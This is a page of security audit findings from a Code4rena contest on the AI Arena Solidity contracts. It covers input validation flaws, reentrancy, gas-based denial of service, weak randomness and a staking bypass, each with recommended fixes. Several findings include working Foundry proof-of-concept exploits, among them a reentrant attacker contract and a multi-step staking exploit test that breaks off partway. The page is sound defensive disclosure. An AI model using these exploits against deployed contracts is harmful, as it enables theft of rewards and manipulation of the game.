AI Arena - ke1caM's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262

Vulnerability details

Summary

Every user that has mintPass can redeem NFT fighter using the redeemMintPass function. This function takes arbitrary inputs from the user which leads to unexpected results.

Vulnerability details

function redeemMintPass(
        uint256[] calldata mintpassIdsToBurn,
        uint8[] calldata fighterTypes,
        uint8[] calldata iconsTypes,
        string[] calldata mintPassDnas,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 
        external 
    {
        require(
            mintpassIdsToBurn.length == mintPassDnas.length && 
            mintPassDnas.length == fighterTypes.length && 
            fighterTypes.length == modelHashes.length &&
            modelHashes.length == modelTypes.length
        );
        for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
            require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
            _mintpassInstance.burn(mintpassIdsToBurn[i]);
            _createNewFighter(
                msg.sender, 
                uint256(keccak256(abi.encode(mintPassDnas[i]))), 
                modelHashes[i], 
                modelTypes[i],
                fighterTypes[i],
                iconsTypes[i],
                [uint256(100), uint256(100)]
            );
        }
    }

Users can pass arbitrary fighterTypes and iconsTypes which are meant to be random. This will allow the user to mint the dendroid fighter type, which is supposed to be more rare than fighter type 0. It also allows users to get custom icon physical attributes.

Impact

Users can create NFT fighters with desired physical attributes. Their creation is meant to be random.

Recommended Mitigation Steps

Randomize the creation of NFT fighters in the redeemMintPass function. Not allow users to pass arbitrary data which affects the creation of random NFT fighters.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370-L391

Vulnerability details

Summary

The reRoll function allows user to "mix" their NFT. There is maxRerollsAllowed mapping which shows, how many times can each fighter type be rerolled. Users can take advantage of the current design of the reRoll function to mix their NFT more times than they should be able to.

Vulnerability details

Default max rerolls for fighter type 0 and 1 is three. When new generation is added, fighter type gets one additional reroll to use.

    function incrementGeneration(uint8 fighterType) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
        maxRerollsAllowed[fighterType] += 1;
        return generation[fighterType];
    }

Let's assume that the user has fighter type 0 and has used all of his 3 rerolls for this current token. After a new generation for a fighter type 1 is added, he can pass 1 as a fighterType parameter to use additional reroll even though he shouldn't be able to because his generation was not updated. It is all because the user can pass fighterType as a parameter. This value should be read from fighter's data.

    function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            numRerolls[tokenId] += 1;
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    }    

require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);

Proof of Concept

Go to test/FighterFarm.t.sol

Add this import at the top of the file: import {stdStorage, StdStorage} from "forge-std/Test.sol";

Add this line inside contract: using stdStorage for StdStorage;

Add this test:

    function testAddtionalReRoll() public {
        stdstore
            .target(address(_fighterFarmContract))
            .sig("numElements(uint8)")
            .with_key(1)
            .checked_write(3);

        _mintFromMergingPool(_ownerAddress);

        _fundUserWith4kNeuronByTreasury(_ownerAddress);

        uint8 tokenId = 0;
        uint8 fighterType = 0;

        _neuronContract.addSpender(address(_fighterFarmContract));

        _fighterFarmContract.reRoll(tokenId, fighterType);
        _fighterFarmContract.reRoll(tokenId, fighterType);
        _fighterFarmContract.reRoll(tokenId, fighterType);
        // Rerolled maximum amount
        assertEq(_fighterFarmContract.numRerolls(0), 3);

        _fighterFarmContract.incrementGeneration(1);

        fighterType = 1;

        // Additional reroll from different generation
        _fighterFarmContract.reRoll(tokenId, fighterType);

        assertEq(_fighterFarmContract.numRerolls(0), 4);

        uint8 maxRerolls = _fighterFarmContract.maxRerollsAllowed(0);

        assertEq(maxRerolls, 3);
    }

Run forge test --match-test "testAddtionalReRoll"

Impact

User can use more rerolls that he is eligible for.

Recommended Mitigation Steps

Read fighterType from storage rather than allowing user to pass arbitrary data.

    function reRoll(uint8 tokenId) public {
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

+       uint8 fighterType = fighters[tokenId].dendroidBool == true ? 1 : 0;

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            numRerolls[tokenId] += 1;
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    }    

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L129-L134

Vulnerability details

Vulnerability details

numElements is not updated in increamentGeneration which will prevent the creation of NFT in the new generation due to a panic revert error.

    function incrementGeneration(uint8 fighterType) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
        maxRerollsAllowed[fighterType] += 1;
        return generation[fighterType];
    }   

It's value is used to determine what kind of element will the NFT fighter get during the creation or reroll of NFT.

function _createFighterBase(
        uint256 dna, 
        uint8 fighterType
    ) 
        private 
        view 
        returns (uint256, uint256, uint256) 
    {
        uint256 element = dna % numElements[generation[fighterType]];
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

uint256 element = dna % numElements[generation[fighterType]];

If we try to get an element for our NFT in generation 1 the transaction will revert with a panic error.

From solidity docs Modulo with zero causes a Panic error. This check can not be disabled through unchecked { ... }.

Proof of Concept

Add this test to src/test/FighterFarm.sol and run forge test --match-test "testClaimFightersAfterNewGenerationIsAdded" -vv

    function testClaimFightersAfterNewGenerationIsAdded() public {
        _fighterFarmContract.incrementGeneration(0);
        uint8[2] memory numToMint = [1, 0];
        bytes memory claimSignature = abi.encodePacked(
            hex"407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c"
        );
        string[] memory claimModelHashes = new string[](1);
        claimModelHashes[
            0
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        string[] memory claimModelTypes = new string[](1);
        claimModelTypes[0] = "original";

        vm.expectRevert();
        _fighterFarmContract.claimFighters(
            numToMint,
            claimSignature,
            claimModelHashes,
            claimModelTypes
        );
    }

Impact

After generation is increamented it is impossible to mint new NFT.

Recommended Mitigation Steps

Update numElements while increamenting the generation:

    // Add new parameter
    function incrementGeneration(uint8 fighterType, uint8 elements) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
        maxRerollsAllowed[fighterType] += 1;
+       numElements[generation[fighterType]] = elements;
        return generation[fighterType];
    }   

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L154-L159

Vulnerability details

Vulnerability details

When a user is picked as a winner, in the MergingPool contract, he can get his rewards by calling the claimRewards function. This code is susceptible to reentrant calls which allows an attacker to mint more NFTs than he is eligible to.

function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

The mintFromMergingPool function triggers _safeMint within _createNewFighter, which then returns the transaction flow to the msg.sender because of the onERC721Received hook.

    function _createNewFighter(
        address to, 
        uint256 dna, 
        string memory modelHash,
        string memory modelType, 
        uint8 fighterType,
        uint8 iconsType,
        uint256[2] memory customAttributes
    ) 
        private 
    {  
        require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
        uint256 element; 
        uint256 weight;
        uint256 newDna;
        if (customAttributes[0] == 100) {
            (element, weight, newDna) = _createFighterBase(dna, fighterType);
        }
        else {
            element = customAttributes[0];
            weight = customAttributes[1];
            newDna = dna;
        }
        uint256 newId = fighters.length;

        bool dendroidBool = fighterType == 1;
        FighterOps.FighterPhysicalAttributes memory attrs = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
            generation[fighterType],
            iconsType,
            dendroidBool
        );
        fighters.push(
            FighterOps.Fighter(
                weight,
                element,
                attrs,
                newId,
                modelHash,
                modelType,
                generation[fighterType],
                iconsType,
                dendroidBool
            )
        );
        _safeMint(to, newId);
        FighterOps.fighterCreatedEmitter(newId, weight, element, generation[fighterType]);
    }

_safeMint(to, newId);

Users can reenter into claimRewards when numRoundsClaimed has not reached the final round. Users can claim more NFT fighters than they won.

Proof of Concept

Add this contract to test folder.

// SPDX-License-Identifier: Unlicense

pragma solidity >=0.8.0 <0.9.0;

import "../src/MergingPool.sol";

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract PoC1 {
    MergingPool pool;
    uint256 attack;

    constructor(address _pool) {
        pool = MergingPool(_pool);
    }

    function attackClaimRewards() public {
        string[] memory _modelURIs = new string[](2);
        _modelURIs[
            0
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[
            1
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        pool.claimRewards(_modelURIs, _modelTypes, _customAttributes);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        string[] memory _modelURIs = new string[](2);
        _modelURIs[
            0
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[
            1
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        pool.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        return IERC721Receiver.onERC721Received.selector;
    }
}

Add this import at top of MergingPool.t.sol file.

import {PoC1} from "./PoC1.sol";

Add this test to MergingPool.t.sol file.

    function testReentrancyInClaimRewards() public {
        PoC1 attackerContract = new PoC1(address(_mergingPoolContract));
        address attackerContractAddress = address(attackerContract);
        _mintFromMergingPool(attackerContractAddress);
        _mintFromMergingPool(_ownerAddress);

        assertEq(_fighterFarmContract.balanceOf(attackerContractAddress), 1);

        _mergingPoolContract.updateWinnersPerPeriod(1);
        uint256[] memory _winners = new uint256[](1);
        _winners[0] = 0;
        // winners of roundId 0 are picked
        _mergingPoolContract.pickWinner(_winners);
        _winners[0] = 0;
        _mergingPoolContract.pickWinner(_winners);

        attackerContract.attackClaimRewards();

        // Attacker address minted 3 tokens insted of 2 due to reentracny attack (+ 1 token from the begining)
        assertEq(_fighterFarmContract.balanceOf(attackerContractAddress), 4);
    }

Impact

Users can mint more rewards than he is eligible for.

Recommended Mitigation Steps

Import Openzeppelin's ReentrancyGuard.sol file and add NonReentrant modifier to claimRewards function.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L154-L159

Vulnerability details

Vulnerability details

The claimRewards function allows the user to mint an NFT fighter as a prize for being picked as a winner in the MergingPool contract. Calling this function user can specify the customAttributes parameter in a way that element and weight stats become unexpected values.

function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

We can see that this parameter is passed down to the mintFromMergingPool function where _createNewFighter is triggered. Inside this internal function we can see lines vulnerable to this manipulation:

if (customAttributes[0] == 100) {
            (element, weight, newDna) = _createFighterBase(dna, fighterType);
        }
        else {
            element = customAttributes[0];
            weight = customAttributes[1];
            newDna = dna;
        }

If the user provides a value other than 100, custom values will be assigned to the user's new NFT. For instance, the weight value can be as large as the maximum value of uint256. It is a significant value in comparison to 95, which is the largest possible value for weight in the initial part of the if statement, granting a remarkable advantage to a user who owns such a fighter. User can also pass number for not existing element for NFT fighter or simply choose which one he wants the most.

Proof of Concept

Add this test to MergingPool.t.sol file:

    function testMaximumWeight() public {
        _mintFromMergingPool(_ownerAddress);

        _mergingPoolContract.updateWinnersPerPeriod(1);

        uint256[] memory _winners = new uint256[](1);
        _winners[0] = 0;

        _mergingPoolContract.pickWinner(_winners);

        string[] memory _modelURIs = new string[](1);
        _modelURIs[
            0
        ] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        string[] memory _modelTypes = new string[](1);
        _modelTypes[0] = "original";

        uint256[2][] memory _customAttributes = new uint256[2][](1);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(type(uint256).max);

        _mergingPoolContract.claimRewards(
            _modelURIs,
            _modelTypes,
            _customAttributes
        );

        (, , uint256 weight, , , , ) = _fighterFarmContract.getAllFighterInfo(
            1
        );
        assertEq(weight, type(uint256).max);
    }

Impact

User can create overpowered fighter which will probably break the game.

Recommended Mitigation Steps

When the user claims NFT, do not allow for passing custom attributes. Make attributes random using a decentralized oracle for example Chainlink VRF.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L167

Vulnerability details

Vulnerability details

To claim rewards from the MergingPool contract, users must call the claimRewards function. This function is programmed to iterate through all the rounds from the user's last claim to the latest round where rewards are available for claiming.

The problem with this design is that, if a user, who has never claimed any rewards before, tries to do so after several rounds have already passed, this function will loop from the 0 index to the last round. This could result in a DoS, blocking rewards for the user.

function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

The lower bound is established as numRoundsClaimed[msg.sender];, which is 0 for a user who has not claimed any rewards. Let's imagine a situation where a user's address won in the last round, and numerous rounds have passed since the protocol's launch. In this case, the user would have to iterate through all the rounds to claim their rewards from the latest round. This process could potentially cause the user's transaction to exceed the gas limit and fail, rendering it impossible to claim the rewards.

Impact

User will not be able to mint NFT reward.

Recommended Mitigation Steps

Allow users to claim rewards from a specific round instead of looping through all rounds.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L294-L311

Vulnerability details

Vulnerability details

In order to claim rewards from the RankedBattle contract, users need to call the claimNRN function. This function is designed to loop through all the rounds between the user's last claim and the most recent round where rewards can be claimed.

The issue with this design is that if a user has never claimed any rewards before and several rounds have already been completed, this function will start looping from the 0 index to the last possible round. This could potentially lead to a DoS, blocking rewards for the user.

function claimNRN() external {
        require(
            numRoundsClaimed[msg.sender] < roundId,
            "Already claimed NRNs for this period"
        );
        uint256 claimableNRN = 0;
        uint256 nrnDistribution;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (
            uint32 currentRound = lowerBound;
            currentRound < roundId;
            currentRound++
        ) {
            nrnDistribution = getNrnDistribution(currentRound);
            claimableNRN +=
                (accumulatedPointsPerAddress[msg.sender][currentRound] *
                    nrnDistribution) /
                totalAccumulatedPoints[currentRound];
            numRoundsClaimed[msg.sender] += 1;
        }
        if (claimableNRN > 0) {
            amountClaimed[msg.sender] += claimableNRN;
            _neuronInstance.mint(msg.sender, claimableNRN);
            emit Claimed(msg.sender, claimableNRN);
        }
    }

The lower bound is set to numRoundsClaimed[msg.sender];, which is 0 for a user who has never claimed any rewards. Now, let's consider a scenario where a user's address won in the last round, and many rounds have been completed since the protocol started. The user would need to loop through all the rounds to claim their rewards from the most recent round. The user's transaction could hit the gas limit and revert, making it impossible to claim rewards.

Impact

User will not be able to claim NRN tokens.

Recommended Mitigation Steps

Instead of looping through all of the rounds allow user to claim rewards from one specific round.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L214 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L257-L258 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L324 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L379

Vulnerability details

Vulnerability details

A good source of randomness is required to allow the fair creation of NFT fighters. However, protocol randomness patterns can be manipulated by users. It will allow them to mint the best possible fighter by simply knowing when to create NFT. There are many instances of bad sources of randomness throughout contracts.

FighterFarm contarct:

claimFighters function:

uint256(keccak256(abi.encode(msg.sender, fighters.length)))

redeemMintPass function:

uint256(keccak256(abi.encode(mintPassDnas[i])))

fighterTypes[i]

iconsTypes[i]

mintFromMergingPool function:

uint256(keccak256(abi.encode(msg.sender, fighters.length)))

reRoll function:

uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));

Impact

Randomness can be manipulated.

Recommended Mitigation Steps

Consider using a decentralized oracle for the generation of random numbers, such as Chainlinks VRF.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L342-L344 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L460-L463 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L285-L287 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L253-L255

Vulnerability details

Summary

Fighter can have positive amountStaked and not be staked in FighterFarm. This can lead to a state in which the user can cheat in BattleArena.

Vulnerability details

When user stakes NRN, his NFT fighter is being staked.

    function stakeNRN(uint256 amount, uint256 tokenId) external {
        require(amount > 0, "Amount cannot be 0");
        require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
        require(_neuronInstance.balanceOf(msg.sender) >= amount, "Stake amount exceeds balance");
        require(hasUnstaked[tokenId][roundId] == false, "Cannot add stake after unstaking this round");

        _neuronInstance.approveStaker(msg.sender, address(this), amount);
        bool success = _neuronInstance.transferFrom(msg.sender, address(this), amount);
        if (success) {
            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, true);
            }
            amountStaked[tokenId] += amount;
            globalStakedAmount += amount;
            stakingFactor[tokenId] = _getStakingFactor(
                tokenId, 
                _stakeAtRiskInstance.getStakeAtRisk(tokenId)
            );
            _calculatedStakingFactor[tokenId][roundId] = true;
            emit Staked(msg.sender, amount);
        }
    }

if (amountStaked[tokenId] == 0) {_fighterFarmInstance.updateFighterStaking(tokenId, true);}

Staked fighters can not be transferred to other addresses. To transfer the NFT user has to unstake all NRN to unstake the fighter.

    function unstakeNRN(uint256 amount, uint256 tokenId) external {
        require(
            _fighterFarmInstance.ownerOf(tokenId) == msg.sender,
            "Caller does not own fighter"
        );
        if (amount > amountStaked[tokenId]) {
            amount = amountStaked[tokenId];
        }
        amountStaked[tokenId] -= amount;
        globalStakedAmount -= amount;
        stakingFactor[tokenId] = _getStakingFactor(
            tokenId,
            _stakeAtRiskInstance.getStakeAtRisk(tokenId)
        );
        _calculatedStakingFactor[tokenId][roundId] = true;
        hasUnstaked[tokenId][roundId] = true;
        bool success = _neuronInstance.transfer(msg.sender, amount);
        if (success) {
            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, false);
            }
            emit Unstaked(msg.sender, amount);
        }
    }

if (amountStaked[tokenId] == 0) {_fighterFarmInstance.updateFighterStaking(tokenId, false);}

It means that after the user unstaked all of his NRN he is not eligible to earn points. However, he can transfer his fighter.

    function updateBattleRecord(
        uint256 tokenId, 
        uint256 mergingPortion,
        uint8 battleResult,
        uint256 eloFactor,
        bool initiatorBool
    ) 
        external 
    {   
        require(msg.sender == _gameServerAddress);
        require(mergingPortion <= 100);
        address fighterOwner = _fighterFarmInstance.ownerOf(tokenId);
        require(
            !initiatorBool ||
            _voltageManagerInstance.ownerVoltageReplenishTime(fighterOwner) <= block.timestamp || 
            _voltageManagerInstance.ownerVoltage(fighterOwner) >= VOLTAGE_COST
        );

        _updateRecord(tokenId, battleResult);
        uint256 stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);
        if (amountStaked[tokenId] + stakeAtRisk > 0) {
            _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
        }
        if (initiatorBool) {
            _voltageManagerInstance.spendVoltage(fighterOwner, VOLTAGE_COST);
        }
        totalBattles += 1;
    }

if (amountStaked[tokenId] + stakeAtRisk > 0) {
    _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
}

There is a scenario in which the user can compete for points and freely transfer his NFT still having positive amountStaked. In this scenario, the user could prevent his NFT fighter from losing amountStaked when a fighter has positive points balance.

To achieve that the user has to:

1. Stake NRN to be able to compete in RankedBattle.

The user needs to stake NRN tokens in the RankedBattle contract to compete for rewards.

2. Lose the battle to have a positive stakeAtRisk balance inside the StakeAtRisk contract.

The next step will be to lose one fight. This will result in a positive balance in the StakeAtRisk contract. It allows users to still compete in RankedBattle due to this check inside updateBattleRecord:

if (amountStaked[tokenId] + stakeAtRisk > 0) {
    _addResultPoints(battleResult, tokenId, eloFactor, mergingPortion, fighterOwner);
}

3. Unstake all remaining NRN (amountStaked is set to 0, NFT is unstaked and transferable).

The user has to unstake all of his remaining tokens to unstake his fighter. Unstaked fighters can be freely transferred.

4. Win one fight to have a positive amountStaked (could be as little as 1 wei).

Now when the user has unstaked all of his remaining tokens, he can increase his amountStaked by winning a fight.

if (battleResult == 0) {
     /// If the user won the match

    /// If the user has no NRNs at risk, then they can earn points
    if (stakeAtRisk == 0) {
        points = stakingFactor[tokenId] * eloFactor;
    }

    /// Divert a portion of the points to the merging pool
    uint256 mergingPoints = (points * mergingPortion) / 100;
    points -= mergingPoints;
    _mergingPoolInstance.addPoints(tokenId, mergingPoints);

    /// Do not allow users to reclaim more NRNs than they have at risk
    if (curStakeAtRisk > stakeAtRisk) {
        curStakeAtRisk = stakeAtRisk;
    }

    /// If the user has stake-at-risk for their fighter, reclaim a portion
    /// Reclaiming stake-at-risk puts the NRN back into their staking pool
    if (curStakeAtRisk > 0) {
        _stakeAtRiskInstance.reclaimNRN(
            curStakeAtRisk,
            tokenId,
            fighterOwner
        );
        amountStaked[tokenId] += curStakeAtRisk;
    }
    /// Add points to the fighter for this round
    accumulatedPointsPerFighter[tokenId][roundId] += points;
    accumulatedPointsPerAddress[fighterOwner][roundId] += points;
    totalAccumulatedPoints[roundId] += points;
    if (points > 0) {
        emit PointsChanged(tokenId, points, true);
    }
}

amountStaked[tokenId] += curStakeAtRisk

If curStakeAtRisk is greater than 0, amountStaked will be increased. It allows the user to bypass this check whenever he stakes more NRN (stakeNRN function).

if (amountStaked[tokenId] == 0) {
    _fighterFarmInstance.updateFighterStaking(tokenId, true);
}

However he has to wait till next round due to this check:

require(hasUnstaked[tokenId][roundId] == false, "Cannot add stake after unstaking this round");

5. Wait for the next round to begin (lose stakeAtRisk, this value can be very small).

The amount lost at stake at risk can be very small (1 wei of NRN). This value needs to be different than 0.

6. Stake as much NRN as possible. NFT will not be staked due to this check (user has positive amountStaked balance from previous round):

if (amountStaked[tokenId] == 0) {
    _fighterFarmInstance.updateFighterStaking(tokenId, true);
}

7. Win battles to earn points and whenever the user wants to prevent his fighter from losing points he transfers NFT to another address that he controls. This transfer will cause an underflow revert inside updateBattleRecord whenever fighter losses a battle, preventing him from losing points.

if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
    /// If the fighter has a positive point balance for this round, deduct points 
    points = stakingFactor[tokenId] * eloFactor;
    if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
        points = accumulatedPointsPerFighter[tokenId][roundId];
    }
    accumulatedPointsPerFighter[tokenId][roundId] -= points;
    accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
    totalAccumulatedPoints[roundId] -= points;
    if (points > 0) {
        emit PointsChanged(tokenId, points, false);
    }
}

As we can see above, when an NFT fighter loses the battle and has some points accumulated, this part of the function will try to subtract points from the fighter balance and fighter owner balance. Subtraction will be successful in the fighter's balance but the function will revert to trying to subtract the same amount of points from the owner's balance. This is because when the user transferred the token to another address, the new address's points balance is equal to zero.

accumulatedPointsPerAddress[fighterOwner][roundId] -= points

0 - points -> will cause underflow revert.

Proof of Concept

Add this test to test/RankedBattle and run forge test --match-test "testRankedBattleExploit" -vvv

    function testRankedBattleExploit() public {
        // SETUP
        address player = vm.addr(3);
        address playerSecondAddress = vm.addr(23);
        _mintFromMergingPool(player);
        _fundUserWith4kNeuronByTreasury(player);

        // 1. Stake NRN tokens
        vm.prank(player);
        _rankedBattleContract.stakeNRN(5 * 10 ** 18, 0);

        // 2. Lose battle
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true);

        // 3. Unstake NRN tokens
        vm.prank(player);
        // it will not withdraw all 5 tokens but remaining amount
        _rankedBattleContract.unstakeNRN(5 * 10 ** 18, 0);

        // 4. Win one fight
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true);

        // 5. Wait for next round to begin, someone has to have positive points balance
        address otherPlayer = vm.addr(45);

        _mintFromMergingPool(otherPlayer);
        _fundUserWith4kNeuronByTreasury(otherPlayer);

        vm.prank(otherPlayer);
